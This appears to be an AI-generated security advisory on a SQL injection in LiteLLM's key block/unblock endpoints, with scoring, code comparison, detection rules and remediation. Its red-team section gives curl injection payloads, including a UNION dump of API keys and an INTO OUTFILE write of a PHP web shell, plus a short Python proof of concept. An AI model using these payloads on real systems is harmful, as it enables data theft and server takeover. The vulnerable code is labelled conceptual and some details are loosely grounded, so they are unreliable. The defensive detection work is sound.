CVE-2025-45809

Executive Summary

CVE-2025-45809 is a critical SQL Injection vulnerability discovered in BerriAI LiteLLM, an open-source proxy server for managing multiple Large Language Model (LLM) APIs. The flaw resides in the /key/block and /key/unblock API endpoints, where the key parameter is not properly sanitized before being used in database queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, or remote code execution on the underlying server. The vulnerability affects all versions prior to 1.81.0. No official CVSS vector or patch details were provided by the vendor at the time of analysis, but the public disclosure and proof-of-concept code confirm the risk.

Supply Chain & Package Security

LiteLLM is distributed as a Python package via PyPI (litellm). Organizations using this package in their AI/ML infrastructure should immediately audit their dependency versions. The vulnerable component is the core proxy server, which handles API key management and routing. Compromise of this component could lead to leakage of LLM API keys, model access tokens, and internal database credentials.

CVSS Breakdown & Threat Level

While no official CVSS vector was provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service or RCE.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate patching is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /key/block and /key/unblock endpoints. These endpoints are designed to manage API key status (block/unblock) by accepting a key parameter. The application constructs a SQL query by directly concatenating the user-supplied key value without proper sanitization or parameterized queries.

Vulnerable Code Path (Conceptual):

@app.route("/key/block", methods=["POST"])
def block_key():
    key = request.form.get("key")
    # Vulnerable: direct string interpolation
    query = f"UPDATE api_keys SET blocked = 1 WHERE key = '{key}'"
    db.execute(query)

An attacker can inject SQL commands by providing a malicious key value. For example:

key = ' OR '1'='1' -- 

This would result in the query:

UPDATE api_keys SET blocked = 1 WHERE key = '' OR '1'='1' -- '

This would block all API keys in the database. More sophisticated payloads can extract data, create backdoor accounts, or execute operating system commands if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.81.0):

# Vulnerable: Direct string interpolation
def block_key(key):
    query = f"UPDATE api_keys SET blocked = 1 WHERE key = '{key}'"
    db.execute(query)

Patched Code (1.81.0+):

# Patched: Parameterized query
def block_key(key):
    query = "UPDATE api_keys SET blocked = 1 WHERE key = %s"
    db.execute(query, (key,))

The patched version uses parameterized queries (prepared statements) which separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of LiteLLM (version < 1.81.0) running on a target.
• Network access to the /key/block or /key/unblock endpoint.

Exploitation Steps:

1. Identify the endpoint:

   curl -X POST http://target:8000/key/block -d "key=test"
   

2. Test for SQL injection:

   curl -X POST http://target:8000/key/block -d "key=' OR '1'='1"
   

   If the server returns a different response (e.g., success message or error), it is vulnerable.

3. Extract database version:

   curl -X POST http://target:8000/key/block -d "key=' UNION SELECT @@version -- "
   

4. Dump all API keys:

   curl -X POST http://target:8000/key/block -d "key=' UNION SELECT key FROM api_keys -- "
   

5. Achieve RCE (if database user has FILE privilege):

   curl -X POST http://target:8000/key/block -d "key=' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- "
   

Proof-of-Concept Script (Python):

import requests

target = "http://target:8000"
payload = "' OR '1'='1' -- "

# Block all keys
r = requests.post(f"{target}/key/block", data={"key": payload})
print(r.text)

# Extract data
r = requests.post(f"{target}/key/block", data={"key": "' UNION SELECT table_name FROM information_schema.tables -- "})
print(r.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor logs for suspicious key parameters:

   • Look for SQL keywords (SELECT, UNION, OR, --, #) in the key field.
   • Alert on multiple failed requests to /key/block or /key/unblock.

2. Network-level detection:

   • Deploy a WAF rule to block requests containing SQL injection patterns in POST data.
   • Monitor for outbound database queries that deviate from normal patterns.

3. Honeypot:

   • Set up a decoy LiteLLM instance to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /key/block or /key/unblock with SQL-like payloads in the key parameter.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified database files or logs.

Log IOCs:

• Repeated SQL syntax errors in application logs.
• Queries containing UNION, SELECT, INTO OUTFILE, etc.

Sample Suricata Rule (see Detection Engineering):

alert http any any -> any any (msg:"CVE-2025-45809 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/key/block"; http_uri; pcre:"/(\bSELECT\b|\bUNION\b|\bOR\b|\bDROP\b)/i"; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_45809_SQLi_KeyParam {
    meta:
        description = "Detects SQL injection attempts targeting the key parameter in LiteLLM"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-45809"
    strings:
        $s1 = "/key/block" nocase
        $s2 = "/key/unblock" nocase
        $sql1 = "SELECT" nocase
        $sql2 = "UNION" nocase
        $sql3 = "OR" nocase
        $sql4 = "DROP" nocase
        $sql5 = "--" nocase
        $sql6 = "#" nocase
    condition:
        any of ($s1, $s2) and any of ($sql1, $sql2, $sql3, $sql4, $sql5, $sql6)
}

Sigma Rule

title: CVE-2025-45809 SQL Injection in LiteLLM Key Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against LiteLLM /key/block and /key/unblock endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/key/block'
            - '/key/unblock'
        cs-uri-query|contains:
            - 'SELECT'
            - 'UNION'
            - 'OR'
            - 'DROP'
            - '--'
            - '#'
    condition: selection
falsepositives:
    - Legitimate use of the word 'OR' in a key name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45809 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/key/block"; http_uri; pcre:"/(\bSELECT\b|\bUNION\b|\bOR\b|\bDROP\b)/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-45809 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/key/unblock"; http_uri; pcre:"/(\bSELECT\b|\bUNION\b|\bOR\b|\bDROP\b)/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LiteLLM to version 1.81.0 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the key parameter.
3. Restrict network access to the /key/block and /key/unblock endpoints to trusted IPs only.

Long-term Measures:

1. Adopt parameterized queries in all database interactions.
2. Conduct a code audit for similar injection vulnerabilities in other endpoints.
3. Implement input validation – reject any key parameter containing SQL special characters.
4. Enable detailed logging and monitor for suspicious activity.

Patch Verification:

• Check the version in the application logs or via the /health endpoint.
• Verify that the key parameter is no longer directly concatenated into SQL queries.

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.